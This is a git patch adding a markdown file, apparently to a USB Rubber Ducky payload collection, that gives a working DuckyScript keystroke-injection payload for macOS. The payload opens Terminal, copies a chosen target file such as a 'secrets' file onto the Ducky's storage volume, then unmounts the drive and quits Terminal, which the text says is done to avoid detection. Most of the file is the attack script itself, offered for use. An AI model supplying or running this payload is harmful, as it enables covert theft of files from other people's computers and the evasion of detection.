From cd8bd0514d5011c92b0c54cad05b8207416fbd52 Mon Sep 17 00:00:00 2001 From: SADMIN Date: Sun, 28 May 2017 23:56:19 -0700 Subject: [PATCH] Added Copycat.txt --- ...om-a-Known-Location-To-USB-Mass-Storage.md | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 Payload-OSX-Copy-A-File-or-Directory-from-a-Known-Location-To-USB-Mass-Storage.md diff --git a/Payload-OSX-Copy-A-File-or-Directory-from-a-Known-Location-To-USB-Mass-Storage.md b/Payload-OSX-Copy-A-File-or-Directory-from-a-Known-Location-To-USB-Mass-Storage.md new file mode 100644 index 0000000..2c1ad64 --- /dev/null +++ b/Payload-OSX-Copy-A-File-or-Directory-from-a-Known-Location-To-USB-Mass-Storage.md @@ -0,0 +1,35 @@ +When you're a duck you can just grab OSX by any file you want. + +Requires the Twin Duck firmware. + +This code targets a known location to copy to the Duck, and gracefully exits while unmounting the disk to avoid detection. Adjust the timing as needed for the files extracted, and this assumes your Ducky drive is named SAD. + +Useful since OSX tends to put things in the same places. This just grabs a specific file and dips. + + + + + REM OSX FILEGRABBER FOR TWIN DUCK + REM STAY SAD - SADMIN FOR NULL BYTE 2017 + REM You should replace ~/Desktop/TARGET/secrets.txt with the file path for your target file + DELAY 2000 + GUI SPACE + DELAY 500 + STRING terminal + DELAY 500 + ENTER + DELAY 1000 + STRING cp -av ~/Desktop/TARGET/secrets.txt /Volumes/SAD/ + DELAY 200 + ENTER + DELAY 1000 + STRING diskutil unmount /Volumes/SAD + DELAY 500 + ENTER + DELAY 4000 + STRING exit + DELAY 200 + ENTER + DELAY 2000 + GUI q + ENTER \ No newline at end of file